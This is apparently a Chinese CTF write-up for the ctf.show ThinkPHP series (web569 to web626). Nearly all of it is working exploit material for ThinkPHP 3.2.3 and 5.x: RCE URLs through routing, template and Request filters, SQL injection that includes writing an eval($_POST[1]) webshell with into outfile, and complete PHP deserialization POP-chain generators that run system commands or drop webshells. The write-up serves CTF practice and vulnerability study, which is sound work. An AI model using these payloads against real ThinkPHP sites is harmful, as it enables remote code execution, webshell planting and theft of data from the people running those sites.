做题之前没有 thinkphp 基础的先看看开发手册:ThinkPHP3.2.3完全开发手册
[TOC]
web569
旨在考察 thinkphp 路由规则,其形式为:/index.php/模块/控制器/方法
payload:/?s=admin/login/ctfshowlogin
web570
手册里面搜索闭包,了解 tp 闭包知识,很简单,当成正常路由即可
下载源码,发现在 Application\Common\Conf\confing.php
中出现闭包函数
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
因 tp 路由中含有 /
不能直接 ls /
,所以,这样:http://40fd3ac4-d1cc-421c-8ada-1a11d04bdbc2.challenge.ctf.show:8080/?s=ctfshow/assert/assert($_POST[1])
POST:1=system('cat /f*')
web571
下载源码并未找到明显的后门,既然提示是控制器那就去 Application\Home\Controller
里面看看,文件中发现 $this->show()
但又找不到定义位置,这应该是 thinkphp 自带的,遂去手册里面搜索 $this->show
再搜索 模板 会发现它可以执行 PHP 代码,PHP 总是这么神奇,不是么
那么题目就很简单了,直接 http://2740a8ff-e693-49bc-a1db-325916dde37c.challenge.ctf.show:8080/index.php/home/index/index?n=<?php system("cat /f*");?>
后面就是调试分析其原因,不想看的左面有目录跳转
ThinkPHP 3.2.3 模板解析造成 RCE
环境搭建
composer create-project topthink/thinkphp=3.2.3 tp3
访问主页自动生成其他目录
如果搭建过,检查 Application/Runtime/Cache/Home/
是否含有缓存文件,删除 rce 文件
增加方法 Application/Home/Controller/IndexController.class.php
public function test($n='')
{
$this->show($n);
}
漏洞分析
打上断点后访问:http://127.0.0.1/PHPSec/tp3/index.php/home/index/test?n=<php>system('whoami');</php>
加载模板处跟进$this->fetch()
跟进 Hook::listen('view_parse', $params);
然后是 exec()
在 return 时会执行 ParseTemplateBehavior.class.php
去看看怎么编译、加载模板的
前面判断是否为文件,然后为其定义缓存路径
到下面编译模板,跟进去
parse()
为模板解析入口,跟进去
这里使用 TagLib 库解析,继续跟
parseTagLib()
最下面有个 解析标签库的标签 的方法(parseXmlTag()
),跟进去
方法最后会调用 CX解析库
,将模板内容前后加上 <?php ?>
后面会为其添加安全代码,并写入缓存
然后 load 缓存文件,执行构造的 php 语句
上面解析过程中有很多对 literal
标签的操作,查阅手册发现其是被用来 防止模板标签被解析
web572
看提示,爆破不超过 365 次,有点像一年的天数,遂去谷歌一波,发现 ThinkPHP使用不当可能造成敏感信息泄露,里面提到:ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多站都没关,其目录结构为 Application\Runtime\Logs\Home\年份_月份_日期.log
payload:http://445fdf62-3a0e-4eb8-aa31-5df60ac7dc68.challenge.ctf.show:8080//index.php?showctf=%3C?php%20system(%22cat%20/f*%22);?%3E
web574
http://75891f4e-5415-48d9-8cf7-ecdf464d6cd5.challenge.ctf.show:8080/?id=2 and updatexml(1,concat(0x7e,(select right(flag4s,20) from flags),0x7e),1)
web575
在分析了
非预期
利用失败了。。不知道是不是我 vps 的问题,懒得去 vps 控制台开端口了,直接非预期吧
看代码,群主用了 show()
,明显的解析漏洞的嘛,随便找个类实例化一下就行(趁着分析,就用了 Model这个)
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
<?php
/**
* @Author: yq1ng
* @Date: 2021-08-11 09:29:19
* @Last Modified by: yq1ng
* @Last Modified time: 2021-08-11 09:39:44
*/
namespace Think;
class Model {
public $id = "1";
public $username = "<php>system('cat /f*');</php>";
}
echo base64_encode(serialize(new Model));
预期
参考 ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链,我复现失败了
web576
这个就很简单,先去看看 comment()
,会在构造 sql 语句中用到,一直跟下去
/**
* 查询注释
* @access public
* @param string $comment 注释
* @return Model
*/
public function comment($comment)
{
$this->options['comment'] = $comment;
return $this;
}
这里直接拼接,那就闭合喽
/**
* comment分析
* @access protected
* @param string $comment
* @return string
*/
protected function parseComment($comment)
{
return !empty($comment) ? ' /* ' . $comment . ' */' : '';
}
测试 payload:?id=1*/ and 1=1%23
,报错了,是 LIMIT 注入
看看这个:[转载]Mysql下Limit注入方法,两个方法,盲注/写马。群主这个应该是 root 吧,直接写马喽
payload:http://e058826d-2d07-4b16-9cd5-a68a987147b3.challenge.ctf.show:8080/?id=1*/into outfile "/var/www/html/yq1ng.php" LINES STARTING BY '<?php eval($_POST[1]);?>'%23
web577
exp 注入:?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
web578
这个简单看看,上面分析过了,说是变量覆盖,本地调试一下看看
简单赋值
/**
* 模板变量赋值
* @access protected
* @param mixed $name 要显示的模板变量
* @param mixed $value 变量的值
* @return Action
*/
protected function assign($name, $value = '')
{
$this->view->assign($name, $value);
return $this;
}
在 public function fetch($templateFile = '', $content = '', $prefix = '')
里面,如果把 $_content
覆盖掉不就直接解析模板了,注意这里不能用标签了哦,他是 eval
,直接再写个 php 语句就行了
payload:http://ac0a0123-605e-448f-9f25-22dda1f77173.challenge.ctf.show:8080/?name=_content&from=<?php system("cat /f*")?>
web579
这个分析过了(虽然是 5.1的),可以看看(含各种payload):
payload:http://a476e2ed-b5ce-4bfc-a688-9047e9c647e4.challenge.ctf.show:8080/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*
web604
随便弄个不存在的路由,5.1的,所以上一个不能用
payload:http://78a3ab7c-4570-4ddc-861b-25de2e36c5a8.challenge.ctf.show:8080/?s=index/\think\Request/input&filter[]=system&data=cat /f*
web605
payload:http://0220d038-1871-456d-baaf-824e909bae98.challenge.ctf.show:8080/?s=index/\think\template\driver\file/write&cacheFile=yq1ng.php&content=<?php @eval($_POST[1]);?>
接着访问 http://0220d038-1871-456d-baaf-824e909bae98.challenge.ctf.show:8080/yq1ng.php
POST:1=system('cat /f*');
web606
在分析文章中的 RCE 2 列出了很多可利用类,找到一个能用的:http://45007e2c-76ba-4fa1-b8e0-c6a16fe0cd01.challenge.ctf.show:8080/?s=index/\think\Container/invokeFunction&function=assert&vars[0]=system('cat /f*');
直接用 system
的话第二个参数还需要一个变量来保存返回值,所以直接用 assert
吧
web607
这次用了 think\Request/cookie
,一开始传 data 怎么都不行,又是数组不对又是 assert 断言错误的,仔细看源码才发现可以用 cookie 的值覆盖 data,所以 POC 长这样( method是类里面定义的,必须找定义好的,自定义的不能识别 )
GET /?s=index/think\Request/cookie&filter=assert HTTP/1.1
Host: 8d5ac224-bcbc-4bfc-b709-c93966c60357.challenge.ctf.show:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie:method=system(%27cat /f*%27);
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
web608 | 609 | 610
为什么群主总是能猜到我下一步找的链子,嘤嘤嘤,每次都要重新找
哈哈哈,通杀了,前面应该也可以用这个
# \think\view\driver\Think
public function __call($method, $params)
{
return call_user_func_array([$this->template, $method], $params);
}
注意到此类中有 display()
方法,前面知道这个方法可以解析 php 模板,直接整
payload:http://0cfd704b-addb-411d-8a67-06ec40ea56ab.challenge.ctf.show:8080/?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php system('cat /f*'); ?>
web611
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["yq1ng"=>["ls",""]];
$this->data = ["yq1ng"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
/*
output:O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmode
l%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22yq1ng%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22ls%22%3Bi%3A1%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A17%
3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yq1ng%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visi
ble%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3
A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
*/
web612
没说不是 base64 编码了,坑死我。。。
和上一题一样,区别如下
$this->hook['visible'] = [$this, 'isPjax'];
$this->config['var_pjax'] = '';
echo urlencode(serialize(new Windows()));
<?php
/**
* @Author ying
* @Date 2021/8/17 13:53
* @Version 1.0
*/
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files[] = new Pivot();
}
}
namespace think;
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct()
{
$this->append = array('yq1ng' => array('hello'=>'thinkphp'));
$this->data = array('yq1ng' => new Request());
}
}
class Request
{
protected $hook = [];
protected $config = [];
protected $filter;
public function __construct()
{
$this->hook['visible'] = [$this, 'isPjax'];
$this->config['var_pjax'] = '';
$this->filter = 'system';
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
web613 - 622
写的 POC Requests不得行,能力止步于此,暂时搁置了
问了 fmyyy 师傅的 POC,发现这是个严重的非预期,但是群主说不是,那就不是喽,哈哈哈
和612一样,把 $this->hook['visible'] = [$this, 'isPjax'];
改为 $this->hook['visible'] = [$this,"request"];
即可
正解后续再发
web623
不能动态执行命令,需要更改 POC
<?php
/**
* @Author ying
* @Date 8/20/2021 10:01 AM
* @Version 1.0
*/
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace think {
abstract class Model
{
private $lazySave = false;
private $data = [];
protected $withEvent = true;
private $exists = false;
private $force = false;
protected $table;
private $withAttr = [];
public function __construct($obj = '')
{
$this->lazySave = true;
$this->data = array('yq1ng'=>'cat /f*');
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->withAttr = array('yq1ng'=>'system');
}
}
}
namespace {
use think\model\Pivot;
echo urlencode(serialize(new Pivot(new Pivot())));
}
web624 - 626
<?php
/**
* @Author ying
* @Date 8/20/2021 5:01 PM
* @Version 1.0
*/
namespace League\Flysystem\Cached\Storage {
use League\Flysystem\Adapter\Local;
class Adapter
{
protected $autosave = true;
protected $expire = null;
protected $adapter;
protected $file;
public function __construct()
{
$this->autosave = false;
$this->expire = '<?php eval($_POST[1]);?>';
$this->adapter = new Local();
$this->file = 'yq1ng.php';
}
}
}
namespace League\Flysystem\Adapter {
class Local
{
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
echo urlencode(serialize(new Adapter()));
}